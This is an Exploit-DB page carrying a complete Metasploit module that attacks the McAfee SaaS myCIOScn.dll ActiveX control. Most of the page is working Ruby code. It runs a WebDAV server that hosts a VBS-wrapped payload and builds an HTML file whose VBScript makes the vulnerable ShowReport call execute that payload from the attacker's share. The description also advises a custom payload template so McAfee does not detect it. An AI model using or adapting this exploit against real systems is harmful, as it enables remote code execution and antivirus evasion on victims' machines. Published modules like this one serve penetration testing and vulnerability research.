McAfee SaaS MyCioScan ShowReport – Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-01-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18376/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::FILEFORMAT
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
    			'Description'=> %q{
    					This module exploits a vulnerability found in McAfee Security-as-a-Service.
    				The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
    				to check the FileName argument, and passes it on to a ShellExecuteW() function,
    				therefore allows any malicious attacker to execute any process that's on the
    				local system.However, if the victim machine is connected to a remote share (
    				or something similiar), then it's also possible to execute arbitrary code.
    				Please note that a custom template is required for the payload, because the
    				default Metasploit template is detectable by McAfee -- any Windows binary, such
    				as calc.exe or notepad.exe, should bypass McAfee fine.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'rgod',#Initial discovery
    					'sinn3r',#Metasploit
    				],
    			'References' =>
    				[
    					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00",
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none",
    					#'InitialAutoRunScript' => 'migrate -f',
    					'DisablePayloadHandler' => 'false',
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					['Internet Explorer', {}],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Apr 1 2011",
    			'DefaultTarget'=> 0))
    
    		register_options([
    			OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
    			OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
    			OptString.new('URIPATH', [ true, "The URI to use", "/" ]),
    			OptString.new('FILENAME',[ true, 'The file name.', 'msf.html']),
    			OptPath.new('TEMPLATE',[true, 'A custom template for the payload in order to bypass McAfee', ''])
    		], self.class)
    	end
    
    	def on_request_uri(cli, request)
    		case request.method
    		when 'OPTIONS'
    			process_options(cli, request)
    		when 'PROPFIND'
    			process_propfind(cli, request)
    		when 'GET'
    			process_get(cli, request)
    		else
    			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
    			resp = create_response(404, "Not Found")
    			resp.body = ""
    			resp['Content-Type'] = 'text/html'
    			cli.send_response(resp)
    		end
    	end
    
    	def process_get(cli, request)
    		print_status("URI requested: #{request.uri.to_s}")
    
    		if request.uri =~ /\.vbs$/i
    			# Depending on the connection speed, this might take a moment to transfer the
    			# payload and actually get executed
    			send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
    			print_status("executable sent")
    		else
    			# Don't know the request, return not found
    			print_error("Don't care about this file, 404")
    			send_not_found(cli)
    		end
    
    		return
    	end
    
    	def process_options(cli, request)
    		vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
    		headers = {
    			'MS-Author-Via' => 'DAV',
    			'DASL'=> '<DAV:sql>',
    			'DAV' => '1, 2',
    			'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
    			'Public'=> 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
    			'Cache-Control' => 'private'
    		}
    
    		resp = create_response(207, "Multi-Status")
    		headers.each_pair {|k,v| resp[k] = v }
    		resp.body = ''
    		resp['Content-Type'] = 'text/xml'
    		cli.send_response(resp)
    	end
    
    	def process_propfind(cli, request)
    		path = request.uri
    		vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
    		body = ''
    
    		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		my_uri= "http://#{my_host}/"
    
    		if path !~ /\/$/
    			if path.index(".")
    				print_status("Sending 404 for #{path} ...")
    				resp = create_response(404, "Not Found")
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			else
    				print_status("Sending 301 for #{path} ...")
    				resp = create_response(301, "Moved")
    				resp["Location"] = path + "/"
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			end
    		end
    
    		print_status("Sending directory multistatus for #{path} ...")
    
    		body = <<-BODY
    		<?xml version="1.0" encoding="utf-8"?>
    		<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    		<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    		<D:href>#{path}</D:href>
    		<D:propstat>
    		<D:prop>
    		<lp1:resourcetype><D:collection/></lp1:resourcetype>
    		<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    		<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    		<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    		<D:supportedlock>
    		<D:lockentry>
    		<D:lockscope><D:exclusive/></D:lockscope>
    		<D:locktype><D:write/></D:locktype>
    		</D:lockentry>
    		<D:lockentry>
    		<D:lockscope><D:shared/></D:lockscope>
    		<D:locktype><D:write/></D:locktype>
    		</D:lockentry>
    		</D:supportedlock>
    		<D:lockdiscovery/>
    		<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    		</D:prop>
    		<D:status>HTTP/1.1 200 OK</D:status>
    		</D:propstat>
    		</D:response>
    		BODY
    
    		body = body.gsub(/^\t\t/, '')
    
    		if request["Depth"].to_i > 0
    			if path.scan("/").length < 2
    				body << generate_shares(path)
    			else
    				# Set payload name, and set the hidden attribute.True means visible
    				filenames = [ [@vbs_name, false] ]
    				body << generate_files(path, filenames)
    			end
    		end
    
    		body << "</D:multistatus>"
    
    		body.gsub!(/\t/, '')
    
    		# send the response
    		resp = create_response(207, "Multi-Status")
    		resp.body = body
    		resp['Content-Type'] = 'text/xml; charset="utf8"'
    		cli.send_response(resp)
    	end
    
    	def gen_timestamp(ttype=nil)
    		::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
    	end
    
    	def gen_datestamp(ttype=nil)
    		::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
    	end
    
    	def generate_shares(path)
    		share_name = datastore['SHARENAME']
    		share = <<-SHARE
    		<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    		<D:href>#{path}#{share_name}/</D:href>
    		<D:propstat>
    		<D:prop>
    		<lp1:resourcetype><D:collection/></lp1:resourcetype>
    		<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    		<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    		<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    		<D:supportedlock>
    		<D:lockentry>
    		<D:lockscope><D:exclusive/></D:lockscope>
    		<D:locktype><D:write/></D:locktype>
    		</D:lockentry>
    		<D:lockentry>
    		<D:lockscope><D:shared/></D:lockscope>
    		<D:locktype><D:write/></D:locktype>
    		</D:lockentry>
    		</D:supportedlock>
    		<D:lockdiscovery/>
    		<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    		</D:prop>
    		<D:status>HTTP/1.1 200 OK</D:status>
    		</D:propstat>
    		</D:response>
    		SHARE
    		share = share.gsub(/^\t\t/, '')
    		return share
    	end
    
    	def generate_files(path, items)
    		trail = path.split("/")
    		return "" if trail.length < 2
    
    		files = ""
    		items.each do |f, hide|
    			h = hide ? '1' : '0'
    			files << <<-FILES
    			<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    			<D:href>#{path}#{f}</D:href>
    			<D:propstat>
    			<D:prop>
    			<lp1:resourcetype/>
    			<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    			<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
    			<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    			<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    			<lp2:executable>T</lp2:executable>
    			<D:supportedlock>
    			<D:lockentry>
    			<D:lockscope><D:exclusive/></D:lockscope>
    			<D:locktype><D:write/></D:locktype>
    			</D:lockentry>
    			<D:lockentry>
    			<D:lockscope><D:shared/></D:lockscope>
    			<D:locktype><D:write/></D:locktype>
    			</D:lockentry>
    			</D:supportedlock>
    			<D:lockdiscovery/>
    			<D:getcontenttype>application/octet-stream</D:getcontenttype>
    			</D:prop>
    			<D:status>HTTP/1.1 200 OK</D:status>
    			<D:ishidden b:dt="boolean">#{h}</D:ishidden>
    			</D:propstat>
    			</D:response>
    			FILES
    		end
    
    		files = files.gsub(/^\t\t\t/, '')
    
    		return files
    	end
    
    	def get_payload
    		fname = rand_text_alpha(5) + ".vbs"
    		p = payload.encoded
    		exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
    		vbs = Msf::Util::EXE.to_exe_vbs(exe)
    		return fname, vbs
    	end
    
    	def exploit
    		@vbs_name, @vbs = get_payload
    
    		#
    		# progid: MYCIOSCNLib.Scan
    		# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
    		#
    		myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
    		obj_name = rand_text_alpha(rand(6) + 3)
    		sub_name = rand_text_alpha(rand(6) + 3)
    		html = <<-HTML
    		<html>
    		<head>
    		</head>
    		<body>
    		<object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
    		<script language='vbscript'>
    		sub #{sub_name}
    		#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
    		end sub
    
    		#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
    		window.setTimeout "#{sub_name}", 1000
    		</script>
    		</body>
    		</html>
    		HTML
    
    		html = html.gsub(/^\t\t/, '')
    		file_create(html)
    		print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")
    
    		super
    	end
    
    end
    
    =begin
    myCIOScn!CScnXml::SetNumScanned+0x19ab:
    2101caf9 55pushebp
    
    0:003> lmv m myCIOScn
    startendmodule name
    21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Image name: myCIOScn.dll
    Timestamp:Wed Aug 10 11:34:01 2011 (4E42CF19)
    CheckSum: 0007C3A6
    ImageSize:0006D000
    File version: 5.2.3.104
    Product version:5.2.0.0
    File flags: 0 (Mask 3F)
    File OS:40004 NT Win32
    File type:1.0 App
    File date:00000000.00000000
    Translations: 0409.04b0
    CompanyName:McAfee, Inc.
    ProductName:McAfee® Security-as-a-Service
    InternalName: myCioScn
    OriginalFilename: myCioScn.DLL
    ProductVersion: 5.2.3
    FileVersion:5.2.3.104
    PrivateBuild: 5.2.3.104
    SpecialBuild: FULL
    FileDescription:myCioScn Module
    
    .text:2101CB1A pushesi
    .text:2101CB1B push1
    .text:2101CB1D xor esi, esi
    .text:2101CB1F pushesi
    .text:2101CB20 pushesi
    .text:2101CB21 pusheax ; we own this
    .text:2101CB22 pushoffset aOpen; "open"
    .text:2101CB27 pushesi
    .text:2101CB28 mov [ebp+0A50h+Str], eax
    .text:2101CB2B calloff_2105D350; ShellExecuteW
    =end